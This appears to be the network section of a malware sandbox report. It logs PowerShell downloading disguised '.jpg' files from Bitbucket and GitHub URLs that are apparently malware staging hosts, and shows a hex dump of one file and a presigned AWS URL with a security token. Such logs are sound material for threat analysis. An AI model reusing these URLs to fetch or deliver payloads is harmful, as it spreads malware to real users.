Dec 16, 2024 15:36:24.313349962 CET	443	49701	185.199.109.133	192.168.2.7
Dec 16, 2024 15:36:24.313513041 CET	49701	443	192.168.2.7	185.199.109.133
Dec 16, 2024 15:36:24.393371105 CET	443	49701	185.199.109.133	192.168.2.7
Dec 16, 2024 15:36:24.393399954 CET	443	49701	185.199.109.133	192.168.2.7
Dec 16, 2024 15:36:24.393539906 CET	49701	443	192.168.2.7	185.199.109.133
Dec 16, 2024 15:36:24.393609047 CET	443	49701	185.199.109.133	192.168.2.7
Dec 16, 2024 15:36:24.393681049 CET	49701	443	192.168.2.7	185.199.109.133
Dec 16, 2024 15:36:24.528316975 CET	443	49701	185.199.109.133	192.168.2.7
Dec 16, 2024 15:36:24.528383017 CET	443	49701	185.199.109.133	192.168.2.7
Dec 16, 2024 15:36:24.528434038 CET	49701	443	192.168.2.7	185.199.109.133
Dec 16, 2024 15:36:24.528525114 CET	443	49701	185.199.109.133	192.168.2.7
Dec 16, 2024 15:36:24.528568029 CET	49701	443	192.168.2.7	185.199.109.133
Dec 16, 2024 15:36:24.528592110 CET	49701	443	192.168.2.7	185.199.109.133
Dec 16, 2024 15:36:24.554095984 CET	443	49701	185.199.109.133	192.168.2.7
Dec 16, 2024 15:36:24.554155111 CET	443	49701	185.199.109.133	192.168.2.7
Dec 16, 2024 15:36:24.554209948 CET	49701	443	192.168.2.7	185.199.109.133
Dec 16, 2024 15:36:24.554234028 CET	443	49701	185.199.109.133	192.168.2.7
Dec 16, 2024 15:36:24.554261923 CET	49701	443	192.168.2.7	185.199.109.133
Dec 16, 2024 15:36:24.554280043 CET	49701	443	192.168.2.7	185.199.109.133
Dec 16, 2024 15:36:24.556736946 CET	443	49701	185.199.109.133	192.168.2.7
Dec 16, 2024 15:36:24.556782961 CET	443	49701	185.199.109.133	192.168.2.7
Dec 16, 2024 15:36:24.556821108 CET	49701	443	192.168.2.7	185.199.109.133
Dec 16, 2024 15:36:24.556833982 CET	443	49701	185.199.109.133	192.168.2.7
Dec 16, 2024 15:36:24.556863070 CET	49701	443	192.168.2.7	185.199.109.133
Dec 16, 2024 15:36:24.556936026 CET	443	49701	185.199.109.133	192.168.2.7
Dec 16, 2024 15:36:24.556988955 CET	49701	443	192.168.2.7	185.199.109.133
Dec 16, 2024 15:36:24.557192087 CET	49701	443	192.168.2.7	185.199.109.133
Dec 16, 2024 15:36:28.270607948 CET	49728	443	192.168.2.7	185.166.143.50
Dec 16, 2024 15:36:28.270648003 CET	443	49728	185.166.143.50	192.168.2.7
Dec 16, 2024 15:36:28.270742893 CET	49728	443	192.168.2.7	185.166.143.50
Dec 16, 2024 15:36:28.271050930 CET	49728	443	192.168.2.7	185.166.143.50
Dec 16, 2024 15:36:28.271065950 CET	443	49728	185.166.143.50	192.168.2.7
Dec 16, 2024 15:36:29.849508047 CET	443	49728	185.166.143.50	192.168.2.7
Dec 16, 2024 15:36:29.881131887 CET	49728	443	192.168.2.7	185.166.143.50
Dec 16, 2024 15:36:29.881155968 CET	443	49728	185.166.143.50	192.168.2.7
Dec 16, 2024 15:36:30.585879087 CET	443	49728	185.166.143.50	192.168.2.7
Dec 16, 2024 15:36:30.585901976 CET	443	49728	185.166.143.50	192.168.2.7
Dec 16, 2024 15:36:30.585964918 CET	443	49728	185.166.143.50	192.168.2.7
Dec 16, 2024 15:36:30.586054087 CET	49728	443	192.168.2.7	185.166.143.50
Dec 16, 2024 15:36:30.586055040 CET	49728	443	192.168.2.7	185.166.143.50
Dec 16, 2024 15:36:30.587622881 CET	49728	443	192.168.2.7	185.166.143.50

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Dec 16, 2024 15:36:12.922513008 CET	63220	53	192.168.2.7	1.1.1.1
Dec 16, 2024 15:36:13.060796022 CET	53	63220	1.1.1.1	192.168.2.7
Dec 16, 2024 15:36:15.274190903 CET	62653	53	192.168.2.7	1.1.1.1
Dec 16, 2024 15:36:15.411499023 CET	53	62653	1.1.1.1	192.168.2.7
Dec 16, 2024 15:36:30.591608047 CET	60218	53	192.168.2.7	1.1.1.1
Dec 16, 2024 15:36:30.979909897 CET	53	60218	1.1.1.1	192.168.2.7
Dec 16, 2024 15:36:43.173654079 CET	49302	53	192.168.2.7	1.1.1.1
Dec 16, 2024 15:36:43.413877964 CET	53	49302	1.1.1.1	192.168.2.7

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Dec 16, 2024 15:36:12.922513008 CET	192.168.2.7	1.1.1.1	0x87ff	Standard query (0)	bitbucket.org	A (IP address)	IN (0x0001)	false
Dec 16, 2024 15:36:15.274190903 CET	192.168.2.7	1.1.1.1	0xdca8	Standard query (0)	raw.githubusercontent.com	A (IP address)	IN (0x0001)	false
Dec 16, 2024 15:36:30.591608047 CET	192.168.2.7	1.1.1.1	0xf015	Standard query (0)	bbuseruploads.s3.amazonaws.com	A (IP address)	IN (0x0001)	false
Dec 16, 2024 15:36:43.173654079 CET	192.168.2.7	1.1.1.1	0xd39d	Standard query (0)	bbuseruploads.s3.amazonaws.com	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Dec 16, 2024 15:36:13.060796022 CET	1.1.1.1	192.168.2.7	0x87ff	No error (0)	bitbucket.org		185.166.143.50	A (IP address)	IN (0x0001)	false
Dec 16, 2024 15:36:13.060796022 CET	1.1.1.1	192.168.2.7	0x87ff	No error (0)	bitbucket.org		185.166.143.49	A (IP address)	IN (0x0001)	false
Dec 16, 2024 15:36:13.060796022 CET	1.1.1.1	192.168.2.7	0x87ff	No error (0)	bitbucket.org		185.166.143.48	A (IP address)	IN (0x0001)	false
Dec 16, 2024 15:36:15.411499023 CET	1.1.1.1	192.168.2.7	0xdca8	No error (0)	raw.githubusercontent.com		185.199.109.133	A (IP address)	IN (0x0001)	false
Dec 16, 2024 15:36:15.411499023 CET	1.1.1.1	192.168.2.7	0xdca8	No error (0)	raw.githubusercontent.com		185.199.111.133	A (IP address)	IN (0x0001)	false
Dec 16, 2024 15:36:15.411499023 CET	1.1.1.1	192.168.2.7	0xdca8	No error (0)	raw.githubusercontent.com		185.199.108.133	A (IP address)	IN (0x0001)	false
Dec 16, 2024 15:36:15.411499023 CET	1.1.1.1	192.168.2.7	0xdca8	No error (0)	raw.githubusercontent.com		185.199.110.133	A (IP address)	IN (0x0001)	false
Dec 16, 2024 15:36:30.979909897 CET	1.1.1.1	192.168.2.7	0xf015	No error (0)	bbuseruploads.s3.amazonaws.com	s3-1-w.amazonaws.com		CNAME (Canonical name)	IN (0x0001)	false
Dec 16, 2024 15:36:30.979909897 CET	1.1.1.1	192.168.2.7	0xf015	No error (0)	s3-1-w.amazonaws.com	s3-w.us-east-1.amazonaws.com		CNAME (Canonical name)	IN (0x0001)	false
Dec 16, 2024 15:36:30.979909897 CET	1.1.1.1	192.168.2.7	0xf015	No error (0)	s3-w.us-east-1.amazonaws.com		16.182.39.201	A (IP address)	IN (0x0001)	false
Dec 16, 2024 15:36:30.979909897 CET	1.1.1.1	192.168.2.7	0xf015	No error (0)	s3-w.us-east-1.amazonaws.com		3.5.25.38	A (IP address)	IN (0x0001)	false
Dec 16, 2024 15:36:30.979909897 CET	1.1.1.1	192.168.2.7	0xf015	No error (0)	s3-w.us-east-1.amazonaws.com		52.217.66.156	A (IP address)	IN (0x0001)	false
Dec 16, 2024 15:36:30.979909897 CET	1.1.1.1	192.168.2.7	0xf015	No error (0)	s3-w.us-east-1.amazonaws.com		16.182.74.41	A (IP address)	IN (0x0001)	false
Dec 16, 2024 15:36:30.979909897 CET	1.1.1.1	192.168.2.7	0xf015	No error (0)	s3-w.us-east-1.amazonaws.com		54.231.159.57	A (IP address)	IN (0x0001)	false
Dec 16, 2024 15:36:30.979909897 CET	1.1.1.1	192.168.2.7	0xf015	No error (0)	s3-w.us-east-1.amazonaws.com		16.182.107.153	A (IP address)	IN (0x0001)	false
Dec 16, 2024 15:36:30.979909897 CET	1.1.1.1	192.168.2.7	0xf015	No error (0)	s3-w.us-east-1.amazonaws.com		52.217.119.73	A (IP address)	IN (0x0001)	false
Dec 16, 2024 15:36:30.979909897 CET	1.1.1.1	192.168.2.7	0xf015	No error (0)	s3-w.us-east-1.amazonaws.com		3.5.25.56	A (IP address)	IN (0x0001)	false
Dec 16, 2024 15:36:43.413877964 CET	1.1.1.1	192.168.2.7	0xd39d	No error (0)	bbuseruploads.s3.amazonaws.com	s3-1-w.amazonaws.com		CNAME (Canonical name)	IN (0x0001)	false
Dec 16, 2024 15:36:43.413877964 CET	1.1.1.1	192.168.2.7	0xd39d	No error (0)	s3-1-w.amazonaws.com	s3-w.us-east-1.amazonaws.com		CNAME (Canonical name)	IN (0x0001)	false
Dec 16, 2024 15:36:43.413877964 CET	1.1.1.1	192.168.2.7	0xd39d	No error (0)	s3-w.us-east-1.amazonaws.com		54.231.161.1	A (IP address)	IN (0x0001)	false
Dec 16, 2024 15:36:43.413877964 CET	1.1.1.1	192.168.2.7	0xd39d	No error (0)	s3-w.us-east-1.amazonaws.com		52.216.109.43	A (IP address)	IN (0x0001)	false
Dec 16, 2024 15:36:43.413877964 CET	1.1.1.1	192.168.2.7	0xd39d	No error (0)	s3-w.us-east-1.amazonaws.com		16.182.70.97	A (IP address)	IN (0x0001)	false
Dec 16, 2024 15:36:43.413877964 CET	1.1.1.1	192.168.2.7	0xd39d	No error (0)	s3-w.us-east-1.amazonaws.com		52.217.70.36	A (IP address)	IN (0x0001)	false
Dec 16, 2024 15:36:43.413877964 CET	1.1.1.1	192.168.2.7	0xd39d	No error (0)	s3-w.us-east-1.amazonaws.com		52.216.146.155	A (IP address)	IN (0x0001)	false
Dec 16, 2024 15:36:43.413877964 CET	1.1.1.1	192.168.2.7	0xd39d	No error (0)	s3-w.us-east-1.amazonaws.com		3.5.12.236	A (IP address)	IN (0x0001)	false
Dec 16, 2024 15:36:43.413877964 CET	1.1.1.1	192.168.2.7	0xd39d	No error (0)	s3-w.us-east-1.amazonaws.com		3.5.21.64	A (IP address)	IN (0x0001)	false
Dec 16, 2024 15:36:43.413877964 CET	1.1.1.1	192.168.2.7	0xd39d	No error (0)	s3-w.us-east-1.amazonaws.com		3.5.17.61	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

bitbucket.org

raw.githubusercontent.com

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.7	49700	185.166.143.50	443	7548	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-16 14:36:14 UTC	113	OUT	GET /jhgfhhkjeedefdf/mnbvgjdg/downloads/test.jpg?537611 HTTP/1.1 Host: bitbucket.org Connection: Keep-Alive
2024-12-16 14:36:15 UTC	5912	IN	HTTP/1.1 302 Found Date: Mon, 16 Dec 2024 14:36:14 GMT Content-Type: text/html; charset=utf-8 Content-Length: 0 Server: AtlassianEdge Location: https://bbuseruploads.s3.amazonaws.com/2dd18843-1672-4067-bc92-40ec1cff5f15/downloads/cd888b79-d693-4ddd-b0f4-cccbfdae68aa/test.jpg?response-content-disposition=attachment%3B%20filename%3D%22test.jpg%22&AWSAccessKeyId=ASIA6KOSE3BND2LSHFUO&Signature=0vs6WpEuxPI8Y0VWXgHh3hrVZrY%3D&x-amz-security-token=IQoJb3JpZ2luX2VjEGcaCXVzLWVhc3QtMSJHMEUCIAGhiUETDHij7pVRR66vkrrTXDZC7m5WerB6QQo9wZ%2BaAiEApQYClqL7EW7fZGFOH0qHUizUC6rtt6nkJW8MHZ3S5EYqpwIIMBAAGgw5ODQ1MjUxMDExNDYiDKprY1pTlmyeO%2FcHZyqEAjwUnfqza%2FUgzLtniW3oUrjnmHQCn7YeQ3HKwiYHs1igLQ4G5aRSemc0ZDaU9owsTehmpt1dMKbgJe7sefZwJQwWEAeyz%2FI2bajYXRwrJA7L9fcdUB8VHEmRp1Om7s0lUU8%2BjLwA3REV4%2Bfvm3Mgun2X6EcR4hOSSPC1trIz64qqxcjVpcLlajoqzEO1oZc4qxfWAHz8BmBOirJtrPAfw7oENgJWeMsYdUQ%2BzYPLMa11S3LwWUbHOlNRx0Y6akngvhrmEwHXyKzvpBAE%2FqU%2BQg98T%2FY%2FgBN5pZ4hqHXvcuWoV2XVVgQTXREjjTpqFhEpm1ySYj5tpQrk72KeLgycKEst15eqMJjxgLsGOp0BCf4rtR8ggu3JowBsID37Z1bMdjp0qEYOX%2FsFFEjBNZB7fbhar74EhqZDshs0VVfM420WYwRl8fr85DIvK3zStP%2FmX%2FzBS4p5NgIxY4FeXo1D5yvpTrs4sTc5oPvdE4FIzxnDkQ01Kbb0vno%2 [TRUNCATED] Expires: Mon, 16 Dec 2024 14:36:14 GMT Cache-Control: max-age=0, no-cache, no-store, must-revalidate, private X-Used-Mesh: False Vary: Accept-Language, Origin Content-Language: en X-View-Name: bitbucket.apps.downloads.views.download_file X-Dc-Location: Micros-3 X-Served-By: 2d23560027d2 X-Version: 448c766573cd X-Static-Version: 448c766573cd X-Request-Count: 1694 X-Render-Time: 0.042084693908691406 X-B3-Traceid: 562fd8c95cc040d0a59a61dc00874127 X-B3-Spanid: 717c1c0d2db4617e X-Frame-Options: SAMEORIGIN Content-Security-Policy: style-src 'self' 'unsafe-inline' https://aui-cdn.atlassian.com/ https://cdn.cookielaw.org/ https://bbc-frontbucket-static.stg-east.frontend.public.atl-paas.net https://bbc-frontbucket-static.prod-east.frontend.public.atl-paas.net https://bbc-frontbucket-canary.prod-east.frontend.public.atl-paas.net https://bbc-frontbucket-exp.prod-east.frontend.public.atl-paas.net https://bbc-object-storage--frontbucket.us-east-1.prod.public.atl-paas.net/ https://bbc-object-storage--frontbucket.us-east-1.staging.public.atl-paas.net/ https://bbc-object-storage--frontbucket.us-east-1.prod.public.atl-paas.net/; base-uri 'self'; frame-ancestors 'self' start.atlassian.com start.stg.atlassian.com atlaskit.atlassian.com bitbucket.org; object-src 'none'; script-src 'unsafe-eval' 'strict-dynamic' 'unsafe-inline' 'self' http: https: https://remote-app-switcher.stg-east.frontend.public.atl-paas.net https://remote-app-switcher.prod-east.frontend.public.atl-paas.net https://bbc-frontbucket-static.stg-east.frontend [TRUNCATED] X-Usage-Quota-Remaining: 999192.741 X-Usage-Request-Cost: 820.03 X-Usage-User-Time: 0.021510 X-Usage-System-Time: 0.003091 X-Usage-Input-Ops: 0 X-Usage-Output-Ops: 0 Age: 0 X-Cache: MISS X-Content-Type-Options: nosniff X-Xss-Protection: 1; mode=block Atl-Traceid: 562fd8c95cc040d0a59a61dc00874127 Atl-Request-Id: 562fd8c9-5cc0-40d0-a59a-61dc00874127 Strict-Transport-Security: max-age=63072000; includeSubDomains; preload Report-To: {"endpoints": [{"url": "https://dz8aopenkvv6s.cloudfront.net"}], "group": "endpoint-1", "include_subdomains": true, "max_age": 600} Nel: {"failure_fraction": 0.001, "include_subdomains": true, "max_age": 600, "report_to": "endpoint-1"} Server-Timing: atl-edge;dur=155,atl-edge-internal;dur=4,atl-edge-upstream;dur=152,atl-edge-pop;desc="aws-eu-central-1" Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.7	49701	185.199.109.133	443	7548	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-16 14:36:16 UTC	121	OUT	GET /gmedusa135/nano/refs/heads/main/new_img123.jpg HTTP/1.1 Host: raw.githubusercontent.com Connection: Keep-Alive
2024-12-16 14:36:17 UTC	889	IN	HTTP/1.1 200 OK Connection: close Content-Length: 4697658 Cache-Control: max-age=300 Content-Security-Policy: default-src 'none'; style-src 'unsafe-inline'; sandbox Content-Type: image/jpeg ETag: "b899cc7aa3319a16e239ba6cb263113b100d6fa7ed0190f683f329a66758220c" Strict-Transport-Security: max-age=31536000 X-Content-Type-Options: nosniff X-Frame-Options: deny X-XSS-Protection: 1; mode=block X-GitHub-Request-Id: 16FD:36817C:12AD50D:14B88E6:67603915 Accept-Ranges: bytes Date: Mon, 16 Dec 2024 14:36:16 GMT Via: 1.1 varnish X-Served-By: cache-ewr-kewr1740065-EWR X-Cache: HIT X-Cache-Hits: 0 X-Timer: S1734359777.925673,VS0,VE68 Vary: Authorization,Accept-Encoding,Origin Access-Control-Allow-Origin: * Cross-Origin-Resource-Policy: cross-origin X-Fastly-Request-ID: a42c178ab85d9affd5859f2c929638d802fdac02 Expires: Mon, 16 Dec 2024 14:41:16 GMT Source-Age: 0
2024-12-16 14:36:17 UTC	1378	IN	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 02 01 00 48 00 48 00 00 ff e2 0c 58 49 43 43 5f 50 52 4f 46 49 4c 45 00 01 01 00 00 0c 48 4c 69 6e 6f 02 10 00 00 6d 6e 74 72 52 47 42 20 58 59 5a 20 07 ce 00 02 00 09 00 06 00 31 00 00 61 63 73 70 4d 53 46 54 00 00 00 00 49 45 43 20 73 52 47 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f6 d6 00 01 00 00 00 00 d3 2d 48 50 20 20 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 11 63 70 72 74 00 00 01 50 00 00 00 33 64 65 73 63 00 00 01 84 00 00 00 6c 77 74 70 74 00 00 01 f0 00 00 00 14 62 6b 70 74 00 00 02 04 00 00 00 14 72 58 59 5a 00 00 02 18 00 00 00 14 67 58 59 5a 00 00 02 2c 00 00 00 14 62 58 59 5a 00 00 02 40 00 00 00 14 64 Data Ascii: JFIFHHXICC_PROFILEHLinomntrRGB XYZ 1acspMSFTIEC sRGB-HP cprtP3desclwtptbkptrXYZgXYZ,bXYZ@d
2024-12-16 14:36:17 UTC	1378	IN	Data Raw: 03 66 03 72 03 7e 03 8a 03 96 03 a2 03 ae 03 ba 03 c7 03 d3 03 e0 03 ec 03 f9 04 06 04 13 04 20 04 2d 04 3b 04 48 04 55 04 63 04 71 04 7e 04 8c 04 9a 04 a8 04 b6 04 c4 04 d3 04 e1 04 f0 04 fe 05 0d 05 1c 05 2b 05 3a 05 49 05 58 05 67 05 77 05 86 05 96 05 a6 05 b5 05 c5 05 d5 05 e5 05 f6 06 06 06 16 06 27 06 37 06 48 06 59 06 6a 06 7b 06 8c 06 9d 06 af 06 c0 06 d1 06 e3 06 f5 07 07 07 19 07 2b 07 3d 07 4f 07 61 07 74 07 86 07 99 07 ac 07 bf 07 d2 07 e5 07 f8 08 0b 08 1f 08 32 08 46 08 5a 08 6e 08 82 08 96 08 aa 08 be 08 d2 08 e7 08 fb 09 10 09 25 09 3a 09 4f 09 64 09 79 09 8f 09 a4 09 ba 09 cf 09 e5 09 fb 0a 11 0a 27 0a 3d 0a 54 0a 6a 0a 81 0a 98 0a ae 0a c5 0a dc 0a f3 0b 0b 0b 22 0b 39 0b 51 0b 69 0b 80 0b 98 0b b0 0b c8 0b e1 0b f9 0c 12 0c 2a 0c 43 0c Data Ascii: fr~ -;HUcq~+:IXgw'7HYj{+=Oat2FZn%:Ody'=Tj"9Qi*C
2024-12-16 14:36:17 UTC	1378	IN	Data Raw: 97 75 97 e0 98 4c 98 b8 99 24 99 90 99 fc 9a 68 9a d5 9b 42 9b af 9c 1c 9c 89 9c f7 9d 64 9d d2 9e 40 9e ae 9f 1d 9f 8b 9f fa a0 69 a0 d8 a1 47 a1 b6 a2 26 a2 96 a3 06 a3 76 a3 e6 a4 56 a4 c7 a5 38 a5 a9 a6 1a a6 8b a6 fd a7 6e a7 e0 a8 52 a8 c4 a9 37 a9 a9 aa 1c aa 8f ab 02 ab 75 ab e9 ac 5c ac d0 ad 44 ad b8 ae 2d ae a1 af 16 af 8b b0 00 b0 75 b0 ea b1 60 b1 d6 b2 4b b2 c2 b3 38 b3 ae b4 25 b4 9c b5 13 b5 8a b6 01 b6 79 b6 f0 b7 68 b7 e0 b8 59 b8 d1 b9 4a b9 c2 ba 3b ba b5 bb 2e bb a7 bc 21 bc 9b bd 15 bd 8f be 0a be 84 be ff bf 7a bf f5 c0 70 c0 ec c1 67 c1 e3 c2 5f c2 db c3 58 c3 d4 c4 51 c4 ce c5 4b c5 c8 c6 46 c6 c3 c7 41 c7 bf c8 3d c8 bc c9 3a c9 b9 ca 38 ca b7 cb 36 cb b6 cc 35 cc b5 cd 35 cd b5 ce 36 ce b6 cf 37 cf b8 d0 39 d0 ba d1 3c d1 be d2 Data Ascii: uL$hBd@iG&vV8nR7u\D-u`K8%yhYJ;.!zpg_XQKFA=:8655679<
2024-12-16 14:36:17 UTC	1378	IN	Data Raw: 26 98 26 02 60 98 86 98 00 20 c0 00 00 29 30 00 10 60 00 09 80 00 00 00 00 31 00 28 00 69 80 00 00 00 03 12 30 43 00 00 00 01 30 1a 74 9a 06 00 00 80 30 4d 0c 10 c0 01 31 03 04 03 00 1a 00 01 30 01 30 62 41 a6 02 60 00 00 00 03 0b 00 00 00 1a 06 81 a1 89 8d 06 98 a4 9d 89 a0 18 20 00 00 00 2a 24 80 1d 80 00 31 00 62 06 00 58 00 0c 01 92 44 c1 18 08 00 83 00 18 00 58 0c 14 a2 c6 26 83 4c 72 84 ae 66 f9 8c cb 99 16 d0 29 a6 21 40 62 68 40 69 5a 10 c4 0d 00 d0 0d 00 00 a0 00 84 4a 2c 00 06 80 18 86 c4 8d 30 01 88 18 d1 2b 13 4d 00 04 30 1a 28 68 91 b4 e9 30 13 04 10 28 0c 00 40 01 a0 06 21 30 04 35 01 23 4c 54 c0 13 10 06 0a 40 80 01 96 26 10 03 12 60 01 40 98 0d 43 19 62 24 90 4c 54 48 44 30 1c 41 89 80 80 1a 1a 10 00 a0 80 4d 4a 0d 00 0a d3 95 88 24 8a 49 Data Ascii: &&` )0`1(i0C0t0M100bA` *$1bXDX&Lrf)!@bh@iZJ,0+M0(h0(@!05#LT@&`@Cb$LTHD0AMJ$I
2024-12-16 14:36:17 UTC	1378	IN	Data Raw: 00 00 00 00 00 00 00 00 28 06 20 00 00 06 20 62 06 00 02 60 00 00 00 00 05 00 00 00 00 00 00 00 00 00 00 00 c1 30 13 43 43 10 30 00 00 00 28 13 80 0b 00 14 01 00 62 00 00 00 00 00 1a 00 06 86 26 98 00 00 00 08 00 03 04 d3 00 00 00 01 06 81 a1 80 00 26 0d 00 30 13 00 0b 1a 18 21 c0 05 00 00 08 34 00 0a 34 20 0c 40 00 00 d0 0c 00 01 30 13 00 00 00 00 10 06 02 60 08 60 02 60 01 40 d2 00 0c 00 00 06 81 a0 1a 62 6d 58 00 09 80 00 00 00 00 c0 69 a0 00 03 a4 0c 10 c0 04 06 84 c0 00 50 00 06 82 68 68 00 00 06 20 06 08 18 00 31 00 89 82 80 00 00 d3 44 30 43 00 68 01 88 00 69 a0 05 02 60 00 03 13 4c 00 46 98 00 86 26 26 3a 06 90 06 26 21 80 8d 00 34 c1 0e 86 9a 26 00 d0 8c 0a 1b 10 4d 43 40 36 8a 6c 11 8d 22 60 0c 2c 4d 82 18 80 30 42 1b 4c 1a 10 69 89 a0 24 81 34 Data Ascii: ( b`0CC0(b&&0!44 @0```@bmXiPhh 1D0Chi`LF&&:&!4&MC@6l"`,M0BLi$4
2024-12-16 14:36:17 UTC	1378	IN	Data Raw: 00 40 0c 00 10 01 58 cb 3c e0 1f 3f ec 80 50 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c4 00 00 00 34 00 c4 c0 4c 04 30 4c 04 c4 34 c0 13 00 04 d0 30 00 10 34 d1 34 d4 43 00 40 c4 31 30 13 01 03 04 8c 05 4c 48 c4 d5 0c 44 c4 34 c1 34 d5 34 d1 00 0d 00 c0 04 c0 04 00 a0 00 00 4c 20 02 80 00 00 00 00 00 00 00 00 00 00 00 00 02 80 00 00 1a 00 00 00 1a 01 80 20 60 09 80 00 00 00 14 00 00 00 00 d0 00 00 00 00 0d 0c 10 0c 13 01 0c 00 00 00 02 80 10 01 40 24 00 b4 01 00 00 00 00 00 00 00 68 60 81 a0 18 00 02 06 00 00 9a 26 0a 00 83 4c 00 00 00 1a 20 60 98 02 60 0c 43 43 01 00 28 00 18 00 00 34 80 00 00 0c 10 d0 c0 00 00 00 00 00 1a 04 01 aa 00 00 46 80 1a 06 05 00 00 00 00 00 00 20 00 34 03 10 0d 03 10 c0 00 06 80 1a 2c 60 03 40 c4 c0 01 0d 0c Data Ascii: @X<?P4L0L4044C@10LHD444L `@$h`&L ``CC(4F 4,`@
2024-12-16 14:36:17 UTC	1378	IN	Data Raw: 63 1a 04 20 01 44 12 80 00 98 98 a8 4d cb 11 82 63 10 00 31 00 95 45 8d 22 c6 26 98 34 20 0c 40 c4 34 30 44 a2 48 8b 00 02 93 68 00 81 85 83 1a 31 bb 12 6d 10 31 34 0d 00 02 00 8c b2 71 74 20 86 05 0d 03 40 0d 21 8a 42 69 89 a0 01 00 12 82 74 49 12 34 2a 6a 24 b2 44 55 91 52 b4 0a a5 12 1b 4e 9c 5a 1a 68 60 d1 c4 01 02 80 0d 00 21 ca 98 d1 01 42 93 22 c0 8b 60 0d 20 d3 10 c0 04 31 4a 93 4d 04 31 49 c5 24 9a 00 62 68 3c d8 1e 0f b6 00 00 00 00 00 00 00 00 00 00 34 00 00 d3 00 43 13 10 c1 00 03 04 c0 4d 00 d0 31 03 04 00 20 c1 44 c4 13 04 31 41 31 30 41 00 34 00 00 30 00 54 d3 40 40 d3 01 00 34 03 40 34 00 d0 0d 2b 10 31 08 03 00 40 c2 93 08 13 54 c1 48 c0 a0 00 04 30 00 00 00 00 00 00 00 00 00 a0 08 00 00 28 02 00 28 00 06 80 00 18 00 00 00 00 00 00 00 00 Data Ascii: c DMc1E"&4 @40DHh1m14qt @!BitI4*j$DURNZh`!B"` 1JM1I$bh<4CM1 D1A10A40T@@4@4+1@TH0((
2024-12-16 14:36:17 UTC	1378	IN	Data Raw: 06 21 a1 80 02 60 00 00 80 31 0d 03 40 34 e8 05 03 0a 1a 62 60 00 20 d3 00 00 00 00 01 89 a1 01 a0 00 18 08 00 04 b2 40 80 03 00 00 13 4c 4c 04 c0 00 01 80 02 00 50 00 34 c0 00 00 01 a0 20 68 00 00 63 a0 12 34 25 01 4a c4 c1 a1 18 14 34 03 4d 00 06 80 18 50 c6 82 92 42 71 9d 83 06 40 10 60 00 20 09 5a 18 d0 ec 10 43 40 a8 18 01 43 04 6d 34 60 d0 4d 53 43 44 04 a0 2a 18 e0 02 c4 31 50 d0 20 18 30 8c a2 38 31 50 0a 01 03 15 0a 40 98 d1 30 01 00 d3 00 2c 00 86 05 00 00 00 9b 22 d8 26 08 30 06 3b 22 d8 24 d0 c1 91 63 1b 43 23 10 0c 10 25 68 04 34 03 62 60 80 00 86 a9 49 00 d0 d0 02 68 9a 12 34 45 64 44 57 14 e5 04 02 44 ad 26 a0 98 80 50 71 1b 44 00 00 00 26 00 0d a5 63 04 49 00 0c 12 6c 43 01 82 03 2c 00 00 60 98 21 82 60 03 48 00 00 c4 30 52 8b 06 8b 00 90 Data Ascii: !`1@4b` @LLP4 hc4%J4MPBq@` ZC@Cm4`MSCD*1P 081P@0,"&0;"$cC#%h4b`Ih4EdDWD&PqD&cIlC,`!`H0R
2024-12-16 14:36:17 UTC	1378	IN	Data Raw: 00 02 80 00 00 01 00 00 00 00 00 00 00 18 80 06 98 81 88 18 26 08 60 00 80 00 00 00 00 c1 30 43 40 c0 00 13 00 4c 00 01 a1 00 00 00 18 21 82 60 21 b1 00 00 c4 c2 c0 08 00 a0 08 01 d2 18 02 63 40 80 0a 00 8c 4c 00 00 00 00 62 b0 19 08 65 09 80 00 00 80 00 34 00 03 10 d0 c4 30 00 00 62 00 4c 62 00 00 00 28 02 00 74 80 80 1d 21 82 1a 18 08 00 00 c1 34 0c 00 00 00 00 00 00 04 06 94 69 a0 00 34 e9 29 02 00 00 1a 60 86 09 82 00 00 d0 c0 06 9a 26 00 0d 10 0a 0c 44 02 80 00 00 00 03 10 cb 00 00 00 00 13 04 c6 20 06 98 09 80 02 00 c0 45 34 c1 34 e1 0d 00 03 40 09 8a 00 80 25 1a 62 69 80 08 00 a0 34 4c 28 04 36 08 03 10 c1 89 d8 00 12 52 65 89 d8 d8 90 62 06 00 d2 19 24 89 80 98 00 d0 c1 23 02 86 98 c4 d0 62 b2 40 20 08 1a 70 99 2a 43 11 0d 82 45 34 e3 0e 2d 28 02 Data Ascii: &`0C@L!`!c@Lbe40bLb(t!4i4)`&D E44@%bi4L(6Reb$#b@ p*CE4-(
2024-12-16 14:36:17 UTC	1378	IN	Data Raw: 49 02 03 04 11 52 4a 40 c7 72 81 00 0a a4 08 93 6a 80 01 a4 60 c4 00 26 1e 54 67 ce fb e0 08 81 89 a6 26 98 26 02 01 a6 08 60 86 86 98 00 81 a6 00 ac 60 00 00 00 00 00 00 00 00 09 80 00 00 00 00 00 00 00 00 00 00 14 01 00 00 00 00 00 00 14 00 00 00 00 34 00 c4 d3 13 40 30 04 d0 d0 c4 c4 0c 00 4c 4d 03 00 00 00 00 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 1a 01 82 1a 06 80 68 18 14 98 40 05 00 20 00 00 00 00 00 00 c0 13 10 c0 00 00 04 13 15 30 00 11 30 00 00 00 00 01 82 60 02 06 00 d3 44 0c 00 00 00 00 00 00 01 80 05 80 00 00 26 00 00 99 00 14 0d 00 c0 00 00 13 04 68 06 98 02 60 00 00 80 0a d3 2c 43 00 18 80 46 26 26 00 00 86 81 80 81 82 68 60 09 80 d0 50 04 0d 03 05 60 0c 4d 30 00 00 